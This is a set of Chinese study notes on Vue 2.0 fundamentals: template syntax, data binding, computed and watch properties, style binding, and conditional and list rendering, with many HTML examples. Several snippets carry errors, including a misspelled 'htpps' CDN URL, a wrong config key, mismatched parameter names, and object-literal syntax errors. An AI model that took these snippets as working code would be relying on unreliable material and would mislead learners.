Vue2.0+Vue3.0从入门到精通(尚硅谷学习笔记)--Vue2.0

一、Vue简介

1、Vue是什么?

一套用于构件用户界面的渐进式JavaScript框架。

Vue可以自底向上逐层的应用

  • 简单应用:只需要一个轻量小巧的核心库
  • 复杂应用:可以引入各式各样的Vue插件

 2、谁开发的?

3、Vue的特点

(1)采用组件化模式,提高代码复用率,且让代码更好的维护。

(2)声明式编码,让编码人员无需直接操作DOM,提高开发效率。

(3)使用虚拟DOM+优秀的Diff算法,尽量复用DOM节点。

 

 4、Vue使用指南

Vue2.0官网:Vue2.0

Vue3.0官网:Vue3.0

三、Vue基本用法

搭建Vue开发环境(Vue2.0)

(1)直接使用<script>引入

<script src="htpps://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>

在开发环境下不要使用压缩版本,不然就失去了所有常见错误的相关警告。

 

(2)NPM(命令行工具)

确保安装了最新版本的 Node.js,然后在命令行中运行以下命令 (不要带上 > 符号):

npm init vue@latest

1、安装开发者工具

在使用 Vue 时,推荐在浏览器上安装Vue Devtools。它允许你在一个更友好的界面中审查和调试 Vue 应用。

 

 (1)打开Chrome浏览器,点击右上角三个点—更多工具—扩展程序—右上角开发者模式(启用)。

(2)将上面下载好的Vue.crx文件直接拖动到浏览器窗口即可。

 浏览器默认productionTip值为true,Vue2.2.0新增,设置为false以阻止vue在启动时生成生产提示。

在body里添加一下代码:

<script type="text/javascript">
        Vue.config.production = false; //以阻止vue在启动时生成生产提示。
</script>

2、初始Vue

强制刷新:shift+F5

(1)想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象

(2)root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法

(3)root容器里的代码被称为【Vue模板】

hello小实例(引入开发版的Vue)

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!--    
    初始Vue:
    1、想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
    2、root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
    3、root容器里的代码被称为【Vue模板】 
    -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <!-- {{}}插值表达式 -->
        <h1>晚安 {{name}}~~~</h1>
    </div>
    <script type="text/javascript">
        Vue.config.production = false; //以阻止vue在启动时生成生产提示。

        //创建vue实例
        new Vue({
            el: '#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
            data: { //data中用于存储数据,数据供el所指定的容器中使用,值我们暂时先写成一个对象。
                name: '玛卡巴卡',
            }
        })
    </script>

</body>

</html>

 分析hello小实例

① Vue实例和容量是一一对应的

② 真实开发中只有一个Vue实例,并且会配合着组件一起使用

③ {{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性

④ 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新。

注意区分js表达式和js代码(语句):

(1)表达式:一个表达式会产生一个值,可以放到任何一个需要值的地方

         ① a

         ② a+b

         ③ demo(1)

         ④ x=== y  ?  'a':‘b’

(2)js代码(语句)

         if()

         for()

3、Vue模板语法

(1)插值语法

功能:用于解析标签体内容。

写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。

(2)指令语法

功能:用于解析标签(包括:标签属性、便签体内容、绑定事件...)

举例:v-bind:href="xxx"或者简写为:href="xxx",xxx同样要写js表达式,且可以直接读取到data中的所有属性。

备注:Vue中有很多指令,且形式都是:v-xxx,此处我们只是拿v-bind举例子。

v-bind:可简写为:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>模板语法</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <!--  准备好一个容器 -->
    <div id="root">
        <h1>插值语法</h1>
        <h3>你好,{{name}}</h3>
        <hr/>
        <h1>指令语法</h1>
        <a v-bind:href="web.url">点我去{{web.name1}}</a>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false;
        //创建Vue实例
        new Vue({
            el: '#root',
            data: {
                name: '玛卡巴卡',
                web: {
                    name1: '百度',
                    url: 'https://www.baidu.com/',
                }

            }
        })
    </script>
</body>

</html>

4、Vue数据绑定

(1)单向数据绑定v-bind:数据只能从data流向页面,简写:

(2)双向数据绑定v-model:数据不仅能从data流向页面,还可以从页面流向data。

备注:① 双向绑定一般都应用在表单类元素上(如:input、select等)

           ② v-model:value可以简写为v-model,因为v-model默认收集的就是value的值。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>数据绑定</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <!-- 准备好一个容器 -->
    <div id="root">
        <!-- 普通写法 -->
        <!-- 单向数据绑定:<input type="text" v-bind:value="name"> <br/> 
        双向数据绑定:<input type="text" v-model:value="name"><br/> -->

        <!-- 简写 -->
        单向数据绑定:<input type="text" :value="name"> <br/> 双向数据绑定:
        <input type="text" v-model="name"><br/>

        <!--  如下代码是错误的,因为v-model只能应用在表单(输入类)元素上 -->
        <!-- <h2 v-model:x="name">你好啊~</h2> -->
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    //创建Vue实例
    new Vue({
        el: '#root',
        data: {
            name: '玛卡巴卡',
        }
    })
</script>

5、el挂载器和data数据的两种写法

(1)el的两种写法:

           ① new.Vue时候配置el属性。

           ② 先创建Vue实例,随后再通过vm.$mount(‘#root’)指定el的值。

(2)data的两种写法:

            ① 对象式

            ② 函数式

           如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。

(3)重要原则

         由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了,而是window。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>el挂载器和data数据的两种写法</title>
    <!--  引入vue -->
    <script src="../js/vue.js"></script>
</head>

<body>
    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>你好,{{name}}</h1>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false; //阻止vue在启动时生成生产提示。

    //el的两种写法
    // const v = new Vue({
    //     // el: '#root',     //第一种写法
    //     data: {
    //         name: '玛卡巴卡',
    //     }
    // });
    // console.log(v);
    // v.$mount('#root') //第二种写法挂载,意义:写法灵活,比如可以加定时器控制执行时间


    //data的两种写法
    new Vue({
        el: '#root',
        //data的第一种写法:对象式
        // data: {
        //     name: '玛卡巴卡',
        // }

        //data的第二种写法:函数式,不能写成箭头函数
        data: function() {
            console.log('@@@', this); //此处的this是Vue实例对象
            return {
                name: '玛卡巴卡'
            }
        }
    })
</script>

</html>

6、理解MVVM模型

Vue参考了MVVM模型。

M:模型(Model):对应data中的数据。

V:视图(View):模板。

VM:视图模型(ViewModel):Vue实例对象。

       

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>理解MVVM模型</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h1>学校名称:{{name}}</h1>
        <h1>学校地址:{{address}}</h1>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data: {
            name: '清华大学',
            address: '北京',
        }
    })
</script>

</html>

总结:

① data中所有的属性,最后都出现在vm身上

② vm身上的所有的属性及Vue原型上的所有属性,在Vue模板中都可以直接使用。

7、数据处理

(1)回顾Object.defineproperty方法(ES6):给对象添加属性

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>回顾Object.defineproperty方法</title>
</head>

<body>
    <script type="text/javascript">
        let number = 19
        let person = {
            name: '玛卡巴卡',
            sex: '男',
            // age: 18,   //直接写可以随意修改删除
        }
        Object.defineProperty(person, 'age', {
            // value: 18,
            // enumerable: true, //控制属性是否可以枚举,默认值是false
            // writable: true, //控制属性是否可以被修改,默认值是false
            // configurable: true, //控制属性是否可以被删除,默认值是false

            //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值。
            get: function() {
                console.log('有人读取age属性');
                return 'number'
            },

            //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
            set(value) {
                console.log('有人修改age属性且值是', value);
                number = value;
            },
        })
        console.log(person);
    </script>
</body>

</html>

Vue中数据代理的好处:更加方便的操作data中的数据。

基本原理:

① 通过Object.defineproperty()把data对象所有属性添加到vm上

② 为每一个添加到vm的属性,都指定一个getter/setter。

③ 在getter/setter内容去操作(读/写)data中对应的属性。

(2)数据代理

通过一个对象代理对另一个数据中的属性的操作(读/写)

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>何为数据代理</title>
</head>

<body>
    <!-- 数据代理:通过一个对象代理对另一个数据中的属性的操作(读/写) -->
    <script type="text/javascript">
        let obj = {
            x: 100
        };
        let obj2 = {
            y: 200
        };
        Object.defineProperty(obj2, 'x', {
            get() {
                return obj.x
            },
            set(value) {
                obj.x = value;
            }

        })
    </script>
</body>

</html>

Vue中数据代理的好处:更加方便操作data中的数据。

基本原理:① 通过Object.defineproperty()把data对象所有属性添加到vm上

                  ② 为每一个添加到vm的属性,都指定一个getter/setter

                  ③ 在getter/setter内部去操作(读/写)data中对应的属性。

8、事件处理

(1)事件的基本使用:

① 使用v-on:xxx或@xxx绑定事件,其中xxx是事件名。

② 事件的回调需要配置在methods对象中,最终会在vm上。

③ methods中配置的函数,不要用箭头函数!否则this就不是vm了。

④ methods中配置id函数,都是被vue所管理的函数,this的指向是vm或组件实例对象。

⑤ @click=“demo”和@click=“demo(¥event)”效果一致,但后者可以传参 。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>事件的基本使用</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>

    <!-- 准备好一个容器 -->
    <div id="root">
        <h2>晚安,{{name}}</h2>
        <!-- 准备好一个按钮 -->
        <button v-on:click="showInfo1">点我提示信息(不传参)</button>
        <button v-on:click="showInfo2($event,66)">点我提示信息(传参)</button>
    </div>

</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            name: '玛卡巴卡',
        },
        methods: {
            showInfo1(event) {
                //   console.log(this);   //此处的this是vm
                alert('嘻嘻')
            },
            showInfo2(number) {
                console.log(event, number);
                alert('哈哈哈')
            }
        }
    })
</script>

</html>

(2)事件修饰符

Vue中的时间修饰符:

① prevent:阻止默认事件(常用)。

② stop:阻止事件冒泡(常用)。

③ once:事件只触发一次(常用)。

④ capture:使用事件的捕获模式。

⑤ self:只有event.target是当前操作的元素是才触发事件。

⑥ passive:事件的默认行为立即执行,无需等待事件回调执行完毕。(移动端使用多)

(3)键盘事件key

Vue中常用的按键别名:

按键别名
回车enter

删除

delete(捕获“删除”和“退格”键)
退出esc
空格space
换行tab(特殊,必须配合keydown去使用)
上,下,左,右up,down,left,right

注意:Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)。

系统修饰键盘(用法特殊):ctrl、alt、shift、meta。

  • 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才能被触发。
  • 配合keydown使用:正常触发事件。

也可以使用KeyCode去指定具体的按键(不推荐)。

Vue.config.keyCodes.自定义键名  =  键码,可以去定制按键别名

9、计算属性computed与监视(侦听)属性watch

(1)计算属性-computed

① 姓名案例-插值语法实现

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>插值语法实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        姓:<input type="text" :value="firstName"> <br/> 名:
        <input type="text" :value="lastName"><br/> 姓名:
        <span>{{firstName.slice(0,3)}}-{{lastName}}</span>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三',
        }
    })
</script>

</html>

② 姓名案例-methods语法实现

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>姓名案例——methods语法实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        姓:<input type="text" :value="firstName"> <br/> 名:
        <input type="text" :value="lastName"><br/> 姓名:
        <span>{{fullName()}}</span>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三',
        },
        methods: {
            fullName() {
                return this.firstName + '-' + this.lastName;
            }
        }
    })
</script>

</html>

③ 姓名案例-计算属性实现

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>姓名案例——计算属性实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        姓:<input type="text" :value="firstName"> <br/> 名:
        <input type="text" :value="lastName"><br/> 姓名:
        <span>{{fullName}}</span>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三',
        },
        computed: {
            //fallName是计算出来的新属性
            fullName: {
                //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
                //get什么时候调用? 1、初次读取fullName时。   2、所依赖的数据发生变化时

                get() {
                    // console.log(this); //此处的this是vm
                    return this.firstName + '-' + this.lastName
                },

                //set什么时候调用?当fullName被修改时
                set(value) {
                    console.log('set', value);
                    const arr = value.split('-');
                    this.firstName = arr[0];
                    this.lastName = arr[1];
                }
            }
        }
    })
</script>

</html>

 计算属性:

① 定义:要用的属性不存在,要通过已有属性计算得来。

② 原理:底层借助了Object.defineproperty方法提供的getter和setter。

③ get函数什么时候执行?

         初次读取时会执行一次。

         当依赖的数据发生改变时会被再次调用。

④ 优势:于methods实现相比,内部有缓存机制(复用),效率更高,调试方便。

⑤ 备注:计算属性最终会出现在vm上,直接读取使用即可。

               如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

只考虑读取,不考虑修改时,可采用简写的方式。

函数当getter用

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>姓名案例——计算属性简写</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        姓:<input type="text" :value="firstName"> <br/> 名:
        <input type="text" :value="lastName"><br/> 姓名:
        <span>{{fullName}}</span>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三',
        },
        computed: {
            //完整写法
            // fullName: {
            //     get() {
            //         return this.firstName + '-' + this.lastName
            //     },
            //     set(value) {
            //         console.log('set', value);
            //         const arr = value.split('-');
            //         this.firstName = arr[0];
            //         this.lastName = arr[1];
            //     }
            // }

            //只考虑读取,不考虑修改时,可采用简写的方式
            //函数当getter用
            fullName() {
                console.log();
                return this.firstName + '-' + this.lastName

            }
        }
    })
</script>

</html>

(2)监听(侦听)属性-watch

1、监视属性watch:

① 当被监视的属性变化时,回调函数自动调用,进行相关操作。

② 监视的属性必须存在,才能进行监视!!!

③ 监视的两种写法:

              new Vue时传入watch配置

              通过vm.$watch监视

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>天气案例-监视属性</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <!-- 绑定事件的时候:@xxx = 'yyy'   yyy可以写一些简单的语句 -->
        <!-- <button @click="isHot = !isHot">切换天气</button> -->
        <button @click="changeWeather">切换天气</button>

    </div>
</body>


<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            isHot: true,
        },
        computed: {
            info() {
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot;
            }
        },
        //监视的第一种写法:
        // watch: {
        //     isHot: {
        //         immediate: true, //初始化时让handler调用一下
        //         //handler什么时候调用?当isHot发生改变时。
        //         handler(newValue, oldValue) {
        //             console.log('isHot被修改了', newValue, oldValue);
        //         }
        //     }
        // }
    })

    //监视的第二种写法:
    vm.$watch('isHot', {
        immediate: true, //初始化时让handler调用一下
        //handler什么时候调用?当isHot发生改变时。
        handler(newValue, oldValue) {
            console.log('isHot被修改了', newValue, oldValue);
        }
    })
</script>

</html>

2、深度监视:

① Vue中的watch默认不监测对象内部值的改变(一层)

② 配置deep:true可以监测对象内布值改变(多层)

备注:

① Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!

② 使用watch时根据数据的具体结构,决定是否采用深度监视。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>天气案例-深度监视</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <!-- 绑定事件的时候:@xxx = 'yyy'   yyy可以写一些简单的语句 -->
        <!-- <button @click="isHot = !isHot">切换天气</button> -->
        <button @click="changeWeather">切换天气</button>
        <hr/>
        <h3>a的值是{{numbers.a}}</h3>
        <button @click="numbers.a++">点我让a+1</button>
        <h3>b的值是{{numbers.b}}</h3>
        <button @click="numbers.b++">点我让b+1</button>

    </div>
</body>


<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            isHot: true,
            numbers: {
                a: 1,
                b: 1,
            }
        },
        computed: {
            info() {
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot;
            }
        },
        watch: {
            //监视多级结构中某个属性的变化
            // 'numbers.a': {
            //     handler() {
            //         console.log('a发生变化了');
            //     }
            // },

            //监视多级结构中所有属性的变化
            numbers: {
                deep: true,
                handler() {
                    console.log('numberes改变了');
                }
            }

        }

    })
</script>

</html>

3、监视属性简写

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>天气案例-监视属性(简写)</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <!-- 绑定事件的时候:@xxx = 'yyy'   yyy可以写一些简单的语句 -->
        <!-- <button @click="isHot = !isHot">切换天气</button> -->
        <button @click="changeWeather">切换天气</button>
    </div>
</body>


<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            isHot: true,
        },
        computed: {
            info() {
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot;
            }
        },
        watch: {
            //正常写法
            // isHot: {
            //     immediate: true, //初始化时让handler调用一下
            //     handler(newValue, oldValue) {
            //         console.log('isHot被修改了,newValue,oldValue');
            //     }
            // },

            //简写
            // 当watch配置项只有handler时,可以开启简写模式
            // isHot(newValue, oldValue) {
            //     console.log('isHot被修改了,newValue,oldValue');
            // }
        }
    })

    //正常写法
    // vm.$watch('isHot', {
    //     immediate: true, //初始化时让handler调用一下
    //     deep: true,
    //     handler(newValue, oldValue) {
    //         console.log('isHot被修改了,newValue,oldValue');
    //     }
    // })

    vm.$watch('isHot', function(newValue, oldValue) {
        console.log('isHot被修改了,newValue,oldValue');
    })
</script>

</html>

4、watch对比computed

区别:① computed能完成的功能,watch都可以完成;

          ② watch能完成的功能,computed不一定能完成。例如watch可以进异步操作。

两个重要小原则:

① 被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象。

② 所有不被Vue所管理的函数(定时器回调函数、ajax的回调函数等),最好写成箭头函数,这样this的指向才是vm或组件实例对象。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>姓名案例——watch实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        姓:<input type="text" :value="firstName"> <br/> 名:
        <input type="text" :value="lastName"><br/> 姓名:
        <span>{{fullName}}</span>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三',
            fullName: '张 - 三',
        },
        watch: {
            firstName(newValue) {
                setTimeout(() => {
                    //定时器回调函数不是由vue控制的,而是定时器模块控制的
                    this.fullName = newValue + '-' + this.lastName;
                }, 1000);
            },
            lastName(newVaule) {
                this.fullName = this.firstName + '-' + newValue;
            }
        }
    })
</script>

</html>

         

10、绑定样式

(1)绑定class样式,字符串写法

适用于:样式的类名不确定,需要动态指定

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>绑定样式</title>
    <style>
        .basic {
            width: 400px;
            height: 100px;
            border: 1px solid black;
        }
        
        .happy {
            border: 4px solid red;
            background-color: rgba(255, 255, 0, 0.644);
            background: linear-gradient(30deg, yellow, pink, orange, yellow);
        }
        
        .sad {
            border: 4px solid blue;
            background-color: rgba(255, 255, 0, 0.644);
            background: linear-gradient(30deg, blue, white, skyblue, white);
        }
        
        .normal {
            background-color: pink;
        }
        
        .xixi1 {
            border-radius: 5px;
        }
        
        .xixi2 {
            font-size: 25px;
        }
        
        .xixi3 {
            font-weight: bolder;
        }
    </style>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <!-- 绑定class样式,字符串写法,适用于:样式的类名不确定,需要动态指定-->
        <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data: {
            name: '玛卡巴卡',
            mood: 'normal',
        },
        methods: {
            changeMood() {
                this.mood = 'happy';
            }
        },
    })
</script>

</html>

(2) 绑定class样式,数组写法

适用于:要绑定的样式个数不确定,名字也不确定

<!-- 绑定class样式,数组写法,适用于:要绑定的样式个数不确定,名字也不确定-->
<div class="basic" :class="classArr">{{name}}</div><br/>

<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
       el='#root',
       data:{
         name:'玛卡巴卡',
         classArr:['xixi1','xixi2','xixi3']
  },
}
</script>

(3)绑定class样式,对象写法

适用于:要绑定的样式个数确定,名气也确定,但是要动态决定用不用

<!-- 绑定class样式,对象写法,适用于:要绑定的样式个数确定,名气也确定,但是要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div><br/>

<script type="text/javascript">
 Vue.config.productionTip = false;
  const vm = new Vue({
    el='#root',
    data:{
        name:'玛卡巴卡',
        classObj:{
             xixi1:false,
             xixi2:true,
             xixi3:true,
            },
          }
}
</script>

(4)绑定style样式

:style=“{fontSize:xxx}”  其中xxx是动态值

:style=“[a,b]”  其中ab是样式对象

 <!-- 绑定style样式,对象写法 -->
 <div class="basic" :style="styleObj">{{name}}</div><br/><br/>

 <!-- 绑定style样式,数组写法 -->
 <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div><br/><br/>
 <div class="basic" :style="styleArr">{{name}}</div>

<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
       el:'#root',
       data:{
          name:'玛卡巴卡',
           styleObj: {
                fontSize: '40px',
                color: 'red',
            },
            styleObj2: {
                backgroundColor: 'orange',
            },
            styleArr: [{
                fontSize: '40px',
                color: 'skyblue',
            }, {
                backgroundColor: 'gray',
            }]
          },
       })
</script>

11、条件渲染

(1)v-if

   写法:① v-if="表达式"

              ②  v-else-if=“表达式”

              ③ v-else=“表达式”       

    适用于:切换频率较低的场景

    特点:不展示的DOM元素直接被移除。

    注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被打断。

(2)v-show

  写法:v-show=“表达式”

 适用于:切换频率较高的场景。

特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉。

(3)备注

使用v-if时,元素可能无法获取到,而使用v-show一定可以获取到。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>条件渲染</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <!-- 使用v-show作条件渲染 -->
        <!-- <h2 v-show="false">晚安,{{name}}</h2> -->
        <!-- <h2 v-show="1 === 1">晚安,{{name}}</h2> -->


        <!-- 使用v-if做条件渲染 -->
        <!-- <h2 v-if="false">晚安,{{name}}</h2>
        <h2 v-if="1 === 1">晚安,{{name}}</h2> -->

        <!-- v-else和v-else-if -->
        <!-- <div v-if="n === 1">Angular</div>
        <div v-else-if="n === 2">React</div>
        <div v-else-if="n === 3">Vue</div>
        <div v-else>哈哈哈</div> -->



        <!-- template只能配合v-if使用 -->
        <template v-if="n === 1">
        <h2>玛卡巴卡</h2>
        <h2>依古比古</h2>
        <h2>唔西迪西</h2>
       </template>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            name: '玛卡巴卡',
            n: 0,
        },

    })
</script>

</html>

12、列表渲染

(1)基本指令 v-for

① 用于展示列表数据

② 语法v-for=“(item,index)in xxx”   :key=“yyy”

③ 可遍历:数组、对象、字符串(用得少)、指定次数(用的最少)

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>基本列表</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
        <!-- 遍历数组 -->
        <h2>人员列表(遍历数组)</h2>
        <ul>
            <!-- <li v-for="p in persons" :key="p.id">
                {{p.name}} - {{p.age}}
            </li> -->
            <li v-for="(p,index) in persons" :key="index">
                {{p.name}} - {{p.age}}
            </li>
        </ul>

        <!-- 遍历对象 -->
        <h2>汽车信息(遍历对象)</h2>
        <ul>
            <li v-for="(value,k) of car" :key="k">
                {{k}} : {{value}}
            </li>
        </ul>


        <!-- 遍历字符串 -->
        <h2>测试遍历字符串</h2>
        <ul>
            <li v-for="(char,index) of str" :key="index">
                {{char}} -- {{index}}
            </li>
        </ul>


        <!-- 遍历指定次数 -->
        <h2>遍历指定次数</h2>
        <ul>
            <li v-for="(number,index) of 5" :key="index">
                {{index}} -- {{number}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el: '#root',
        data: {
            persons: [{
                id: '001',
                name: '玛卡巴卡',
                age: '18'
            }, {
                id: '002',
                name: '唔西迪西',
                age: '19'

            }, {
                id: '003',
                name: '依古比古',
                age: '20'

            }, ],
            car: {
                name: '奥利A8',
                price: '70万元',
                color: 'black',
            },
            str: 'hello'
        }
    })
</script>

</html>

 (2)key的原理

面试题:react、vue中的key有什么作用?(key的内部原理)

1、虚拟DOM中key的作用:

     key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较。

2、对比规则:

     (1)旧虚拟DOM中找到了与新虚拟DOM相同的key:

               ① 若虚拟DOM中内容没变,直接使用之前的真是DOM!

               ② 若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实

                   DOM。

     (2)旧虚拟DOM中未找到与新虚拟DOM相同的key

              创建新的真实DOM,随后渲染到页面。

3、用index作为key可能会引发的问题:

     (1)若对数据进行:逆序添加、逆序删除等破坏顺序操作:

                    会产生没有必要的真是DOM更新 ==> 界面效果没问题,但效率低。

     (2) 如果结构中还包含输入类的DOM:

                   会产生错误DOM更新 ==> 界面有问题。

4、开发中如何选择key?

     (1)最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值

